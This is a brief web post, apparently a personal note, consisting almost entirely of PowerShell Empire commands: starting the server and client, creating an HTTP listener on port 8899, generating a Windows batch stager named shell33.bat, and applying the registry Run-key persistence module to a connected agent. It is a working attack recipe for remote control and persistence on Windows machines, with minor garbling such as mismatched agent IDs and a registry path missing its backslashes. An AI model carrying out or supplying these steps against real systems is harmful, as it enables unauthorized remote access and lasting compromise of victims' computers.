empire-registry

2022-06-24 11:53:38 浏览数 (2)

代码语言:javascript复制
empire-registry
powershell-empire server

powershell-empire client


uselistener http

set Name test
set Port 8899
execute

back


listeners

usestager windows/cmd_exec

set Listener test
set OutFile shell33.bat
execute


usemodule powershell/persistence/userland/registry

set RegPath HKCU:SoftwareMicrosoftWindowsCurrentVersionRun

set Agent NRZAPF5cu6


interact NRZAPF56

0 人点赞